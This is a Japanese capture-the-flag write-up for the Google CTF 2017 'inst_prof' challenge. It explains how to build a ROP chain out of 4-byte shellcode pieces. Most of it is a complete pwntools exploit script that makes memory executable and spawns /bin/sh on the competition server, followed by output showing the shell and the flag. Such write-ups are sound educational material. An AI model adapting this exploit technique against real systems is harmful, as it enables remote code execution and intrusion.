はじめに
shellcode問、やるだけ。
方針
下記のshellcodeを用いて、ROPを組んだ。それぞれ4byteになっている。
shellcode実行中のstackの先頭にはリターンアドレスがあるので、pop, pushでstackを壊さずにレジスタにテキスト領域のアドレスを格納することができる。r15は特にバイナリ中で使用してなさそうだったので選んだ。
incとdecで所望のROPガジェットとなるように、オフセットを計算している。0x1000回のincまたはdecを避けるために、retですぐにリターンさせている。stack上への値の格納は、格納先をrbpからのオフセットで指定できるmovを使用した。rbxはshellcodeの実行領域を指しているので、ROP中で用いている。1度のshellcodeを4byteに収めるために、下記の中でのoffsetとvalueは1byteに制限されている。
pop r15, push r15 inc r15, ret dec r15, ret mov BYTE PTR [rbp + offst], value mov [rbp+offset], r15 mov [rbp+offset], rbx
exploit
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
RHOST = "inst-prof.ctfcompetition.com"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337
# libc = ELF('')
elf = ELF('./inst_prof')
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'd':
execute = """
# set environment LD_PRELOAD=
b *{0}
c
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./inst_prof'], execute=execute)
else:
conn = process(['./inst_prof'])
# conn = process(['./inst_prof'], env={'LD_PRELOAD': ''})
# preparing for exploitation
def pop_push_r15():
return asm('pop r15\n push r15')
def inc_r15():
return asm('inc r15\n ret')
def dec_r15():
return asm('dec r15\n ret')
def byte_move(offset, value):
return asm('mov BYTE PTR [rbp+%d], %d' % (offset, value))
def byte_add(offset, value):
return asm('add BYTE PTR [rbp+%d], %d' % (offset, value))
def reg_move(offset):
return asm('mov [rbp+%d], r15' % offset)
log.info('Pwning')
conn.recvuntil('ready')
payload = ''
# alloc_page
payload += pop_push_r15()
payload += dec_r15() * 0x128
payload += reg_move(0x10)
# pop_rsi_r15 rsi= 0x80, r15=?
payload += pop_push_r15()
payload += inc_r15() * 0xa9
payload += reg_move(0x18)
payload += byte_move(0x20 + 0, 0x80)
payload += byte_move(0x20 + 1, 0x00)
# pop rdi; ret
payload += pop_push_r15()
payload += inc_r15() * 0xab
payload += reg_move(0x30)
payload += asm('mov [rbp+0x38], rbx')
# read_n(size)
payload += pop_push_r15()
payload += dec_r15() * 0x98
payload += reg_move(0x40)
# pop rdi ; ret
payload += pop_push_r15()
payload += inc_r15() * 0xab
payload += reg_move(0x48)
payload += asm('mov [rbp+0x50], rbx')
# make_page_executable(addr)
payload += pop_push_r15()
payload += dec_r15() * 0xf8
payload += reg_move(0x58)
payload += asm('mov [rbp+0x60], rbx')
# trigger ROP
payload += pop_push_r15()
payload += inc_r15() * 0x39
payload += reg_move(0x8)
# execve('/bin/sh')
shellcode = '\x90' * 0x10
shellcode += asm(shellcraft.sh())
shellcode = shellcode.ljust(0x80, '\x90')
payload += shellcode + '\n'
conn.send(payload)
conn.interactive()
結果
python exploit.py r
[*] '/home/hama/ctf/GoogleCTF2017/InstProf/inst_prof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done
[*] Pwning
[*] Switching to interactive mode
(長いので省略)
$ cat flag.txt
CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}
おわりに
見返してみるとゴリ押しが酷い